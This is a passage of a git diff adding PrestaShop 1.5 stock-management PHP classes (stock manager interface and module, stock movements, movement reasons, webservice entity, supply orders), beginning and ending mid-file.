StockManagerFactory::$stock_manager = $stock_manager; + } + return StockManagerFactory::$stock_manager; + } + + /** + * Looks for a StockManager in the modules list. + * + * @return StockManagerInterface + */ + public static function execHookStockManagerFactory() + { + $modules_infos = Hook::getModulesFromHook(Hook::getIdByName('stockManager')); + $stock_manager = false; + + foreach ($modules_infos as $module_infos) + { + $module_instance = Module::getInstanceByName($module_infos['name']); + + if (is_callable(array($module_instance, 'hookStockManager'))) + $stock_manager = $module_instance->hookStockManager(); + + if ($stock_manager) + break; + } + + return $stock_manager; + } +} \ No newline at end of file diff --git a/classes/stock/StockManagerInterface.php b/classes/stock/StockManagerInterface.php new file mode 100755 index 0000000..f8b5ce7 --- /dev/null +++ b/classes/stock/StockManagerInterface.php @@ -0,0 +1,125 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * StockManagerInterface : defines a way to manage stock + * @since 1.5.0 + */ +interface StockManagerInterface +{ + + /** + * Checks if the StockManager is available + * + * @return StockManagerInterface + */ + public static function isAvailable(); + + /** + * For a given product, adds a given quantity + * + * @param int $id_product + * @param int $id_product_attribute + * @param Warehouse $warehouse + * @param int $quantity + * @param int $id_stock_movement_reason + * @param float $price_te + * @param bool $is_usable + * @param int $id_supply_order optionnal + * @return bool + */ + public function addProduct($id_product, $id_product_attribute, Warehouse $warehouse, $quantity, $id_stock_movement_reason, $price_te, $is_usable = true, $id_supply_order = null); + + /** + * For a given product, removes a given quantity + * + * @param int $id_product + * @param int id_product_attribute + * @param Warehouse $warehouse + * @param int $quantity + * @param int $id_stock_movement_reason + * @param bool $is_usable + * @param int $id_order Optionnal + * @return array - empty if an error occurred | details of removed products quantities with corresponding prices otherwise + */ + public function removeProduct($id_product, $id_product_attribute, Warehouse $warehouse, $quantity, $id_stock_movement_reason, $is_usable = true, $id_order = null); + + /** + * For a given product, returns its physical quantity + * If the given product has combinations and $id_product_attribute is null, returns the sum for all combinations + * + * @param int $id_product + * @param int $id_product_attribute + * @param array|int $ids_warehouse optional + * @param bool $usable false default - in this case we retrieve all physical quantities, otherwise we retrieve physical quantities flagged as usable + * @return int + */ + public function getProductPhysicalQuantities($id_product, $id_product_attribute, $ids_warehouse = null, $usable = false); + + /** + * For a given product, returns its real quantity + * If the given product has combinations and $id_product_attribute is null, returns the sum for all combinations + * Real quantity : (physical_qty + supply_orders_qty - client_orders_qty) + * If $usable is defined, real quantity: usable_qty + supply_orders_qty - client_orders_qty + * + * @param int $id_product + * @param int $id_product_attribute + * @param array|int $ids_warehouse optional + * @param bool $usable false by default + * @return int + */ + public function getProductRealQuantities($id_product, $id_product_attribute, $ids_warehouse = null, $usable = false); + + /** + * For a given product, transfers quantities between two warehouses + * By default, it manages usable quantities + * It is also possible to transfer a usable quantity from warehouse 1 in an unusable quantity to warehouse 2 + * It is also possible to transfer a usable quantity from warehouse 1 in an unusable quantity to warehouse 1 + * + * @param int $id_product + * @param int $id_product_attribute + * @param int $quantity + * @param int $warehouse_from + * @param int $warehouse_to + * @param bool $usable_from Optional, true by default + * @param bool $usable_to Optional, true by default + * @return bool + */ + public function transferBetweenWarehouses($id_product, $id_product_attribute, $quantity, $warehouse_from, $warehouse_to, $usable_from = true, $usable_to = true); + + /** + * For a given product, returns the time left before being out of stock. + * By default, for the given product, it will use sum(quantities removed in all warehouses) + * + * @param int $id_product + * @param int $id_product_attribute + * @param int $coverage + * @param int $id_warehouse Optional + * @return int time + */ + public function getProductCoverage($id_product, $id_product_attribute, $coverage, $id_warehouse = null); + +} diff --git a/classes/stock/StockManagerModule.php b/classes/stock/StockManagerModule.php new file mode 100755 index 0000000..fe22910 --- /dev/null +++ b/classes/stock/StockManagerModule.php @@ -0,0 +1,57 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +abstract class StockManagerModuleCore extends Module +{ + public $stock_manager_class; + + public function install() + { + return (parent::install() && $this->registerHook('stockManager') ); + } + + public function hookStockManager() + { + $class_file = _PS_MODULE_DIR_.'/'.$this->name.'/'.$this->stock_manager_class.'.php'; + + if (!isset($this->stock_manager_class) || !file_exists($class_file)) + die(sprintf(Tools::displayError('Incorrect Stock Manager class [%s]'), $this->stock_manager_class)); + + require_once($class_file); + + if (!class_exists($this->stock_manager_class)) + die(sprintf(Tools::displayError('Stock Manager class not found [%s]'), $this->stock_manager_class)); + + $class = $this->stock_manager_class; + if (call_user_func(array($class, 'isAvailable'))) + return new $class(); + + return false; + } +} \ No newline at end of file diff --git a/classes/stock/StockMvt.php b/classes/stock/StockMvt.php new file mode 100755 index 0000000..2245cf6 --- /dev/null +++ b/classes/stock/StockMvt.php @@ -0,0 +1,249 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 It now defines stock movements when the advanced stock management system is available + */ +class StockMvtCore extends ObjectModel +{ + public $id; + + /** + * @var string The creation date of the movement + */ + public $date_add; + + /** + * @var int The employee id, responsible of the movement + */ + public $id_employee; + + /** + * @since 1.5.0 + * @var string The first name of the employee responsible of the movement + */ + public $employee_firstname; + + /** + * @since 1.5.0 + * @var string The last name of the employee responsible of the movement + */ + public $employee_lastname; + + /** + * @since 1.5.0 + * @var int The stock id on wtich the movement is applied + */ + public $id_stock; + + /** + * @since 1.5.0 + * @var int the quantity of product with is moved + */ + public $physical_quantity; + + /** + * @var int id of the movement reason assoiated to the movement + */ + public $id_stock_mvt_reason; + + /** + * @var int Used when the movement is due to a customer order + */ + public $id_order = null; + + /** + * @since 1.5.0 + * @var int detrmine if the movement is a positive or negative operation + */ + public $sign; + + /** + * @since 1.5.0 + * @var int Used when the movement is due to a supplier order + */ + public $id_supply_order = null; + + /** + * @since 1.5.0 + * @var float Last value of the weighted-average method + */ + public $last_wa = null; + + /** + * @since 1.5.0 + * @var float Current value of the weighted-average method + */ + public $current_wa = null; + + /** + * @since 1.5.0 + * @var float The unit price without tax of the product associated to the movement + */ + public $price_te; + + /** + * @since 1.5.0 + * @var int Refers to an other id_stock_mvt : used for LIFO/FIFO implementation in StockManager + */ + public $referer; + + /** + * @deprecated since 1.5.0 + * @deprecated stock movement will not be updated anymore + */ + public $date_upd; + + /** + * @deprecated since 1.5.0 + * @see physical_quantity + * @var int + */ + public $quantity; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'stock_mvt', + 'primary' => 'id_stock_mvt', + 'fields' => array( + 'id_employee' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'employee_firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName'), + 'employee_lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName'), + 'id_stock' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'physical_quantity' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'id_stock_mvt_reason' =>array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_supply_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'sign' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'last_wa' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'current_wa' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'price_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'referer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'required' => true), + ), + ); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'stock_movements', + 'objectNodeName' => 'stock_movement', + 'fields' => array( + 'id_employee' => array('xlink_resource'=> 'employees'), + 'id_stock' => array('xlink_resource'=> 'stock'), + 'id_stock_mvt_reason' => array('xlink_resource'=> 'stock_movement_reasons'), + 'id_order' => array('xlink_resource'=> 'orders'), + 'id_supply_order' => array('xlink_resource'=> 'supply_order'), + ), + ); + + /** + * @deprecated since 1.5.0 + * + * This method no longer exists. + * There is no equivalent or replacement, considering that this should be handled by inventories. + */ + public static function addMissingMvt($id_employee) + { + // display that this method is deprecated + Tools::displayAsDeprecated(); + } + + /** + * Gets the negative (decrements the stock) stock mvts that correspond to the given order, for : + * the given product, in the given quantity. + * + * @since 1.5.0 + * @param int $id_order + * @param int $id_product + * @param int $id_product_attribute Use 0 if the product does not have attributes + * @param int $quantity + * @param int $id_warehouse Optional + * @return Array mvts + */ + public static function getNegativeStockMvts($id_order, $id_product, $id_product_attribute, $quantity, $id_warehouse = null) + { + $movements = array(); + $quantity_total = 0; + + // preps query + $query = new DbQuery(); + $query->select('sm.*, s.id_warehouse'); + $query->from('stock_mvt', 'sm'); + $query->innerJoin('stock', 's', 's.id_stock = sm.id_stock'); + $query->where('sm.sign = -1'); + $query->where('sm.id_order = '.(int)$id_order); + $query->where('s.id_product = '.(int)$id_product.' AND s.id_product_attribute = '.(int)$id_product_attribute); + + // if filer by warehouse + if (!is_null($id_warehouse)) + $query->where('s.id_warehouse = '.(int)$id_warehouse); + + // orders the movements by date + $query->orderBy('date_add DESC'); + + // gets the result + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->query($query); + + // fills the movements array + while ($row = Db::getInstance(_PS_USE_SQL_SLAVE_)->nextRow($res)) + { + if ($quantity_total >= $quantity) + break; + $quantity_total += (int)$row['physical_quantity']; + $movements[] = $row; + } + + return $movements; + } + + /** + * For a given product, gets the last positive stock mvt + * + * @since 1.5.0 + * @param int $id_product + * @param int $id_product_attribute Use 0 if the product does not have attributes + * @return bool|array + */ + public static function getLastPositiveStockMvt($id_product, $id_product_attribute) + { + $query = new DbQuery(); + $query->select('sm.*, w.id_currency, (s.usable_quantity = sm.physical_quantity) as is_usable'); + $query->from('stock_mvt', 'sm'); + $query->innerJoin('stock', 's', 's.id_stock = sm.id_stock'); + $query->innerJoin('warehouse', 'w', 'w.id_warehouse = s.id_warehouse'); + $query->where('sm.sign = 1'); + $query->where('s.id_product = '.(int)$id_product.' AND s.id_product_attribute = '.(int)$id_product_attribute); + $query->orderBy('date_add DESC'); + + $res = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + + if ($res != false) + return $res['0']; + return false; + } + +} diff --git a/classes/stock/StockMvtReason.php b/classes/stock/StockMvtReason.php new file mode 100755 index 0000000..a26e8aa --- /dev/null +++ b/classes/stock/StockMvtReason.php @@ -0,0 +1,141 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class StockMvtReasonCore extends ObjectModel +{ + /** @var int identifier of the movement reason */ + public $id; + + /** @var string the name of the movement reason */ + public $name; + + /** @var int detrmine if the movement reason correspond to a positive or negative operation */ + public $sign; + + /** @var string the creation date of the movement reason */ + public $date_add; + + /** @var string the last update date of the movement reason */ + public $date_upd; + + /** @var boolean True if the movement reason has been deleted (staying in database as deleted) */ + public $deleted = 0; + + /** + * @since 1.5.0 + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'stock_mvt_reason', + 'primary' => 'id_stock_mvt_reason', + 'multilang' => true, + 'fields' => array( + 'sign' => array('type' => self::TYPE_INT), + 'deleted' => array('type' => self::TYPE_BOOL), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 255), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'objectsNodeName' => 'stock_movement_reasons', + 'objectNodeName' => 'stock_movement_reason', + 'fields' => array( + 'sign' => array(), + ), + ); + + /** + * Gets Stock Mvt Reasons + * + * @param int $id_lang + * @param int $sign Optionnal + * @return array + */ + public static function getStockMvtReasons($id_lang, $sign = null) + { + $query = new DbQuery(); + $query->select('smrl.name, smr.id_stock_mvt_reason, smr.sign'); + $query->from('stock_mvt_reason', 'smr'); + $query->leftjoin('stock_mvt_reason_lang', 'smrl', 'smr.id_stock_mvt_reason = smrl.id_stock_mvt_reason AND smrl.id_lang='.(int)$id_lang); + $query->where('smr.deleted = 0'); + + if ($sign != null) + $query->where('smr.sign = '.(int)$sign); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * Same as StockMvtReason::getStockMvtReasons(), ignoring a specific lists of ids + * + * @since 1.5.0 + * @param int $id_lang + * @param array $ids_ignore + * @param int $sign optional + */ + public static function getStockMvtReasonsWithFilter($id_lang, $ids_ignore, $sign = null) + { + $query = new DbQuery(); + $query->select('smrl.name, smr.id_stock_mvt_reason, smr.sign'); + $query->from('stock_mvt_reason', 'smr'); + $query->leftjoin('stock_mvt_reason_lang', 'smrl', 'smr.id_stock_mvt_reason = smrl.id_stock_mvt_reason AND smrl.id_lang='.(int)$id_lang); + $query->where('smr.deleted = 0'); + + if ($sign != null) + $query->where('smr.sign = '.(int)$sign); + + if (count($ids_ignore)) + { + $ids_ignore = array_map('intval', $ids_ignore); + $query->where('smr.id_stock_mvt_reason NOT IN('.implode(', ', $ids_ignore).')'); + } + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * For a given id_stock_mvt_reason, tells if it exists + * + * @since 1.5.0 + * @param int $id_stock_mvt_reason + * @return bool + */ + public static function exists($id_stock_mvt_reason) + { + $query = new DbQuery(); + $query->select('smr.id_stock_mvt_reason'); + $query->from('stock_mvt_reason', 'smr'); + $query->where('smr.id_stock_mvt_reason = '.(int)$id_stock_mvt_reason); + $query->where('smr.deleted = 0'); + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue($query); + } +} diff --git a/classes/stock/StockMvtWS.php b/classes/stock/StockMvtWS.php new file mode 100755 index 0000000..50c7ece --- /dev/null +++ b/classes/stock/StockMvtWS.php @@ -0,0 +1,291 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * Webservice entity for stock movements + * @since 1.5.0 + */ +class StockMvtWSCore extends ObjectModelCore +{ + public $id; + + /** + * @var string The creation date of the movement + */ + public $date_add; + + /** + * @var int The employee id, responsible of the movement + */ + public $id_employee; + + /** + * @var string The first name of the employee responsible of the movement + */ + public $employee_firstname; + + /** + * @var string The last name of the employee responsible of the movement + */ + public $employee_lastname; + + /** + * @var int The stock id on wtich the movement is applied + */ + public $id_stock; + + /** + * @var int the quantity of product with is moved + */ + public $physical_quantity; + + /** + * @var int id of the movement reason assoiated to the movement + */ + public $id_stock_mvt_reason; + + /** + * @var int Used when the movement is due to a customer order + */ + public $id_order = null; + + /** + * @var int detrmine if the movement is a positive or negative operation + */ + public $sign; + + /** + * @var int Used when the movement is due to a supplier order + */ + public $id_supply_order = null; + + /** + * @var float Last value of the weighted-average method + */ + public $last_wa = null; + + /** + * @var float Current value of the weighted-average method + */ + public $current_wa = null; + + /** + * @var float The unit price without tax of the product associated to the movement + */ + public $price_te; + + /** + * @var int Refers to an other id_stock_mvt : used for LIFO/FIFO implementation in StockManager + */ + public $referer; + + /** + * @var int id_product (@see Stock::id_product) + */ + public $id_product; + + /** + * @var int id_product_attribute (@see Stock::id_product_attribute) + */ + public $id_product_attribute; + + /** + * @var int id_warehouse (@see Stock::id_warehouse) + */ + public $id_warehouse; + + /** + * @var int id_currency (@see Warehouse::id_currency) + */ + public $id_currency; + + /** + * @var string management_type (@see Warehouse::management_type) + */ + public $management_type; + + /* + * @var string : Name of the product (@see Product::getProductName) + */ + public $product_name; + + /** + * @var string EAN13 of the product (@see Stock::product_ean13) + */ + public $ean13; + + /** + * @var string UPC of the product (@see Stock::product_upc) + */ + public $upc; + + /** + * @var string Reference of the product (@see Stock::product_reference) + */ + public $reference; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'stock_mvt', + 'primary' => 'id_stock_mvt', + 'fields' => array( + 'id_employee' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'employee_firstname' => array('type' => self::TYPE_STRING, 'validate' => 'isName'), + 'employee_lastname' => array('type' => self::TYPE_STRING, 'validate' => 'isName'), + 'id_stock' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'physical_quantity' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt', 'required' => true), + 'id_stock_mvt_reason' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_supply_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'sign' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'last_wa' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'current_wa' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'price_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'referer' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'required' => true), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'fields' => array( + 'id_product' => array('xlink_resource' => 'products'), + 'id_product_attribute' => array('xlink_resource' => 'combinations'), + 'id_warehouse' => array('xlink_resource' => 'warehouses'), + 'id_currency' => array('xlink_resource' => 'currencies'), + 'management_type' => array(), + 'id_employee' => array('xlink_resource' => 'employees'), + 'id_stock' => array('xlink_resource' => 'stocks'), + 'id_stock_mvt_reason' => array('xlink_resource' => 'stock_movement_reasons'), + 'id_order' => array('xlink_resource' => 'orders'), + 'id_supply_order' => array('xlink_resource' => 'supply_orders'), + 'product_name' => array('getter' => 'getWSProductName', 'i18n' => true), + 'ean13' => array(), + 'upc' => array(), + 'reference' => array(), + ), + 'hidden_fields' => array( + 'referer', + 'employee_firstname', + 'employee_lastname', + ), + ); + + /** + * Associations tables for attributes that require different tables than stated in ObjectModel::definition + * @var Array + */ + protected $tables_assoc = array( + 'id_product' => array('table' => 's'), + 'id_product_attribute' => array('table' => 's'), + 'id_warehouse' => array('table' => 's'), + 'id_currency' => array('table' => 's'), + 'management_type' => array('table' => 'w'), + 'ean13' => array('table' => 's'), + 'upc' => array('table' => 's'), + 'reference' => array('table' => 's'), + ); + + /** + * @see ObjectModel + */ + public function __construct($id = null, $id_lang = null, $id_shop = null) + { + // calls parent + parent::__construct($id, $id_lang, $id_shop); + + if ((int)$this->id != 0) + { + $res = $this->getWebserviceObjectList(null, (' AND '.$this->def['primary'].' = '.(int)$this->id), null, null, true); + if (isset($res[0])) + { + foreach ($this->tables_assoc as $key => $param) + $this->{$key} = $res[0][$key]; + } + } + } + + /** + * @see ObjectModel::getWebserviceObjectList() + * Added $full for this specific object + */ + public function getWebserviceObjectList($join, $filter, $sort, $limit, $full = false) + { + $query = 'SELECT DISTINCT main.'.$this->def['primary'].' '; + + if ($full) + $query .= ', s.id_product, s.id_product_attribute, s.id_warehouse, w.id_currency, w.management_type, + s.ean13, s.upc, s.reference '; + + $old_filter = $filter; + if ($filter) + foreach ($this->tables_assoc as $key => $value) + $filter = str_replace('main.`'.$key.'`', $value['table'].'.`'.$key.'`', $filter); + + $query .= 'FROM '._DB_PREFIX_.$this->def['table'].' as main '; + + if ($filter !== $old_filter || $full) + { + $query .= 'LEFT JOIN '._DB_PREFIX_.'stock s ON (s.id_stock = main.id_stock) '; + $query .= 'LEFT JOIN '._DB_PREFIX_.'warehouse w ON (w.id_warehouse = s.id_warehouse) '; + $query .= 'LEFT JOIN '._DB_PREFIX_.'currency c ON (c.id_currency = w.id_currency) '; + } + + if ($join) + $query .= $join; + + $query .= 'WHERE 1 '; + + if ($filter) + $query .= $filter.' '; + + if ($sort) + $query .= $sort.' '; + + if ($limit) + $query .= $limit.' '; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($query); + } + + /** + * Webservice : getter for the product name + */ + public function getWSProductName() + { + $languages = Language::getLanguages(true); + $res = array(); + foreach ($languages as $language) + $res[$language['id_lang']] = Product::getProductName($this->id_product, $this->id_product_attribute, $language['id_lang']); + + return $res; + } + +} diff --git a/classes/stock/SupplyOrder.php b/classes/stock/SupplyOrder.php new file mode 100755 index 0000000..4bef8a8 --- /dev/null +++ b/classes/stock/SupplyOrder.php @@ -0,0 +1,531 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class SupplyOrderCore extends ObjectModel +{ + /** + * @var int Supplier + */ + public $id_supplier; + + /** + * @var string Supplier Name + */ + public $supplier_name; + + /** + * @var int The language id used on the delivery note + */ + public $id_lang; + + /** + * @var int Warehouse where products will be delivered + */ + public $id_warehouse; + + /** + * @var int Current state of the order + */ + public $id_supply_order_state; + + /** + * @var int Currency used for the order + */ + public $id_currency; + + /** + * @var int Currency used by default in main global configuration (i.e. by default for all shops) + */ + public $id_ref_currency; + + /** + * @var string Reference of the order + */ + public $reference; + + /** + * @var string Date when added + */ + public $date_add; + + /** + * @var string Date when updated + */ + public $date_upd; + + /** + * @var string Expected delivery date + */ + public $date_delivery_expected; + + /** + * @var float Total price without tax + */ + public $total_te = 0; + + /** + * @var float Total price after discount, without tax + */ + public $total_with_discount_te = 0; + + /** + * @var float Total price with tax + */ + public $total_ti = 0; + + /** + * @var float Total tax value + */ + public $total_tax = 0; + + /** + * @var float Supplier discount rate (for the whole order) + */ + public $discount_rate = 0; + + /** + * @var float Supplier discount value without tax (for the whole order) + */ + public $discount_value_te = 0; + + /** + * @var int Tells if this order is a template + */ + public $is_template = 0; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'supply_order', + 'primary' => 'id_supply_order', + 'fields' => array( + 'id_supplier' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'supplier_name' => array('type' => self::TYPE_STRING, 'validate' => 'isCatalogName', 'required' => false), + 'id_lang' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_warehouse' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_supply_order_state' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_ref_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'reference' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true), + 'date_delivery_expected' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'required' => true), + 'total_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_with_discount_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_ti' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_tax' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'discount_rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => false), + 'discount_value_te' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'is_template' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + /** + * @see ObjectModel::$webserviceParameters + */ + protected $webserviceParameters = array( + 'fields' => array( + 'id_supplier' => array('xlink_resource' => 'suppliers'), + 'id_lang' => array('xlink_resource' => 'languages'), + 'id_warehouse' => array('xlink_resource' => 'warehouses'), + 'id_supply_order_state' => array('xlink_resource' => 'supply_order_states'), + 'id_currency' => array('xlink_resource' => 'currencies'), + ), + 'hidden_fields' => array( + 'id_ref_currency', + ), + 'associations' => array( + 'supply_order_details' => array( + 'resource' => 'supply_order_detail', + 'fields' => array( + 'id' => array(), + 'id_product' => array(), + 'id_product_attribute' => array(), + 'supplier_reference' => array(), + 'product_name' => array(), + ), + ), + ), + ); + + /** + * @see ObjectModel::update() + */ + public function update($null_values = false) + { + $this->calculatePrices(); + + $res = parent::update($null_values); + + if ($res && !$this->is_template) + $this->addHistory(); + + return $res; + } + + /** + * @see ObjectModel::add() + */ + public function add($autodate = true, $null_values = false) + { + $this->calculatePrices(); + + $res = parent::add($autodate, $null_values); + + if ($res && !$this->is_template) + $this->addHistory(); + + return $res; + } + + /** + * Checks all products in this order and calculate prices + * Applies the global discount if necessary + */ + protected function calculatePrices() + { + $this->total_te = 0; + $this->total_with_discount_te = 0; + $this->total_tax = 0; + $this->total_ti = 0; + $is_discount = false; + + if (is_numeric($this->discount_rate) && (float)$this->discount_rate >= 0) + $is_discount = true; + + // gets all product entries in this order + $entries = $this->getEntriesCollection(); + + foreach ($entries as $entry) + { + // applys global discount rate on each product if possible + if ($is_discount) + $entry->applyGlobalDiscount((float)$this->discount_rate); + + // adds new prices to the total + $this->total_te += $entry->price_with_discount_te; + $this->total_with_discount_te += $entry->price_with_order_discount_te; + $this->total_tax += $entry->tax_value_with_order_discount; + $this->total_ti = $this->total_tax + $this->total_with_discount_te; + } + + // applies global discount rate if possible + if ($is_discount) + $this->discount_value_te = $this->total_te - $this->total_with_discount_te; + } + + /** + * Retrieves the product entries for the current order + * + * @param int $id_lang Optional Id Lang - Uses Context::language::id by default + * @return array + */ + public function getEntries($id_lang = null) + { + if ($id_lang 